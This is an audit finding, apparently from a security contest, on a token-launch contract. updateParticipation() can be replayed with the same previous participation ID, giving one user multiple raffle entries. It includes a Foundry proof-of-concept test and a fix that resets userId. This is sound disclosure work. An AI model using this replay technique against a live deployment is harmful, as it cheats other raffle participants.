Skip to content

Latest commit

 

History

History
153 lines (127 loc) · 7.41 KB

066.md

File metadata and controls

153 lines (127 loc) · 7.41 KB

Cheerful Lemon Leopard

Medium

updateParticipation() can be called multiple times with the same prevLaunchParticipationId, allowing user to have more than one participation ids

Description

updateParticipation() is called with a user-provided prevLaunchParticipationId. The token and currency amount of this old participation is set to zero and a new participation id is assigned to the user. As the docs explain:

prevLaunchParticipationId - (applies to updateParticipation requests) This would come from user input. Before signing, the backend would validate that the prevLaunchParticipationId is valid for the launchGroupId and that it belongs to the user making the request.

The user can do the following in case of a launch group which does not finalize at participation, like a raffle:

  1. Call participate() with say, 1000 token amount. They are assigned a participation id = 1.
  2. User then calls updateParticipation() with prevLaunchParticipationId = 1 and new token amount as 1500. The protocol updates their token amount to 1500 and assigns a new participation id of 2.
  3. User calls updateParticipation() again with prevLaunchParticipationId = 1 and new token amount as 200. The creates a new participation id of 3 which has token amount of 200.
  4. User now has two participation ids even though only one should be allowed, thus increasing their probability of winning the raffle.

Note that before Step 3, backend has to sign the user request. Even if the backend sees that the prevLaunchParticipationId currently has token amount as 0, it should not be a red flag since settings.minTokenAmountPerUser is configurable and the launch group could have been set up with this setting as zero.

Impact

A user is able to create multiple participations in a launch group (e.g. a raffle which does not finalize at participation) and increase their chances of being picked as one of the winners.

Proof of Concept

Add this file as test/MultipleUpdates.t.sol and run to see it pass:

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;

import {Test} from "forge-std/Test.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    UpdateParticipationRequest,
    ParticipationInfo
} from "../src/Types.sol";

contract MultipleUpdates is Test, Launch, LaunchTestBase {
    LaunchGroupSettings public settings;
    ParticipationRequest public initialRequest;
    bytes public initialSignature;

    function setUp() public {
        _setUpLaunch();

        // Setup initial participation
        settings = _setupLaunchGroup();
        initialRequest = _createParticipationRequest();
        initialSignature = _signRequest(abi.encode(initialRequest));

        vm.startPrank(user1);
        currency.approve(
            address(launch),
            _getCurrencyAmount(initialRequest.launchGroupId, initialRequest.currency, initialRequest.tokenAmount)
        );
        launch.participate(initialRequest, initialSignature);
        vm.stopPrank();
    }

    function test_CanReuseParticipationIdMultipleTimes() public {
        // Create first update request
        UpdateParticipationRequest memory firstUpdateRequest = UpdateParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            prevLaunchParticipationId: initialRequest.launchParticipationId,
            newLaunchParticipationId: "newParticipationId1",
            userId: testUserId,
            userAddress: user1,
            tokenAmount: 1500 * 10 ** launch.tokenDecimals(), // Increase token amount
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
        bytes memory firstUpdateSignature = _signRequest(abi.encode(firstUpdateRequest));

        vm.startPrank(user1);

        // Approve additional tokens for first update
        uint256 firstUpdateCurrencyAmount = _getCurrencyAmount(
            firstUpdateRequest.launchGroupId, firstUpdateRequest.currency, firstUpdateRequest.tokenAmount
        );
        currency.approve(address(launch), firstUpdateCurrencyAmount);

        // Perform first update
        launch.updateParticipation(firstUpdateRequest, firstUpdateSignature);

        // Create second update request using same prevLaunchParticipationId
        UpdateParticipationRequest memory secondUpdateRequest = UpdateParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            prevLaunchParticipationId: initialRequest.launchParticipationId, // Reuse the same prev ID
            newLaunchParticipationId: "newParticipationId2",
            userId: testUserId,
            userAddress: user1,
            tokenAmount: 200 * 10 ** launch.tokenDecimals(),
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
        bytes memory secondUpdateSignature = _signRequest(abi.encode(secondUpdateRequest));

        // This should succeed even though we're reusing the same prevLaunchParticipationId
        launch.updateParticipation(secondUpdateRequest, secondUpdateSignature);

        vm.stopPrank();

        // Verify that all three participation records exist
        ParticipationInfo memory initialInfo = launch.getParticipationInfo(initialRequest.launchParticipationId);
        ParticipationInfo memory firstUpdateInfo =
            launch.getParticipationInfo(firstUpdateRequest.newLaunchParticipationId);
        ParticipationInfo memory secondUpdateInfo =
            launch.getParticipationInfo(secondUpdateRequest.newLaunchParticipationId);

        // Initial participation should be zeroed out
        assertEq(initialInfo.tokenAmount, 0);
        assertEq(initialInfo.currencyAmount, 0);
        assertEq(initialInfo.userId, testUserId); // But still retain userId
        assertEq(initialInfo.currency, address(currency)); // And currency

        // First update should be valid
        assertEq(firstUpdateInfo.tokenAmount, firstUpdateRequest.tokenAmount);
        assertEq(firstUpdateInfo.userId, testUserId);
        assertEq(firstUpdateInfo.currency, address(currency));

        // Second update should also be valid
        assertEq(secondUpdateInfo.tokenAmount, secondUpdateRequest.tokenAmount);
        assertEq(secondUpdateInfo.userId, testUserId);
        assertEq(secondUpdateInfo.currency, address(currency));
    }
}

Mitigation

Simply reset the userId field too inside updateParticipation() so that it would fail at this check: if (request.userId != prevInfo.userId) {revert UserIdMismatch(prevInfo.userId, request.userId);} if called again:

    // ... code inside updateParticipation()

        // Reset previous participation info
        prevInfo.currencyAmount = 0;
        prevInfo.tokenAmount = 0;
+       prevInfo.userId = bytes32(0);

        emit ParticipationUpdated(
            request.launchGroupId,
            request.newLaunchParticipationId,
            request.userId,
            msg.sender,
            request.tokenAmount,
            request.currency
        );
    }